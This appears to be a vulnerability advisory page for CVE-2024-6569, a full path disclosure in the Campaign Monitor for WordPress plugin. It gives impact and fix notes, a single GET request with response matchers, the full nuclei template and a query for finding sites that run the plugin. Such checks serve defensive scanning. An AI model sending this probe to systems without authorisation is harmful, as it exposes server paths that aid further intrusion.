CVE-2024-6569· CWE-200
Campaign Monitor for WordPress - Information Disclosure
mediumseverity
5.3CVSS score
0.9%likelihood of exploitation, next 30 days
59%of all CVEs are less likely
Readycheck to confirm it
Campaign Monitor for WordPress plugin for WordPress versions up to 2.8.15 contains a full path disclosure caused by improper access restriction and enabled display_errors in /forms/views/admin/create.php, letting unauthenticated attackers retrieve server paths, exploit requires display_errors to be enabled.
Impact
Attackers can obtain server file paths, aiding in further exploitation of the website.
Fix
Update to the latest version of the plugin where the issue is fixed, or disable display_errors and restrict access to the affected file.
How to confirm it
Send: GET {{BaseURL}}/wp-content/plugins/forms-for-campaign-monitor/forms/views/admin/create.php
Positive when: contains_all(body, "Fatal error", "Uncaught Error") || contains_all(body, "Stack trace") and contains(body, "forms-for-campaign-monitor") and status_code == 200 || status_code == 500Run it with nuclei: nuclei -id CVE-2024-6569 -u <target>
The full check
id: CVE-2024-6569
info:
name: Campaign Monitor for WordPress - Information Disclosure
author: aushack
severity: medium
description: |
Campaign Monitor for WordPress plugin for WordPress versions up to 2.8.15 contains a full path disclosure caused by improper access restriction and enabled display_errors in /forms/views/admin/create.php, letting unauthenticated attackers retrieve server paths, exploit requires display_errors to be enabled.
impact: |
Attackers can obtain server file paths, aiding in further exploitation of the website.
remediation: |
Update to the latest version of the plugin where the issue is fixed, or disable display_errors and restrict access to the affected file.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/forms-for-campaign-monitor/campaign-monitor-for-wordpress-2815-unauthenticated-full-path-disclosure
- https://wordpress.org/plugins/forms-for-campaign-monitor/
- https://nvd.nist.gov/vuln/detail/CVE-2024-6569
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-6569
epss-score: 0.00856
epss-percentile: 0.58684
cwe-id: CWE-200
metadata:
verified: true
max-request: 2
publicwww-query: "/wp-content/plugins/forms-for-campaign-monitor/"
tags: cve,cve2024,wordpress,wp-plugin,fpd,campaigns,misconfig
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/forms-for-campaign-monitor/forms/views/admin/create.php"
matchers:
- type: dsl
dsl:
- 'contains_all(body, "Fatal error", "Uncaught Error") || contains_all(body, "Stack trace")'
- 'contains(body, "forms-for-campaign-monitor")'
- 'status_code == 200 || status_code == 500'
condition: andReferences
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/forms-for-campaign-monitor/campaign-monitor-for-wordpress-2815-unauthenticated-full-path-disclosure
- https://wordpress.org/plugins/forms-for-campaign-monitor/
- https://nvd.nist.gov/vuln/detail/CVE-2024-6569
Use this check only on systems you are authorised to test. Where the data comes from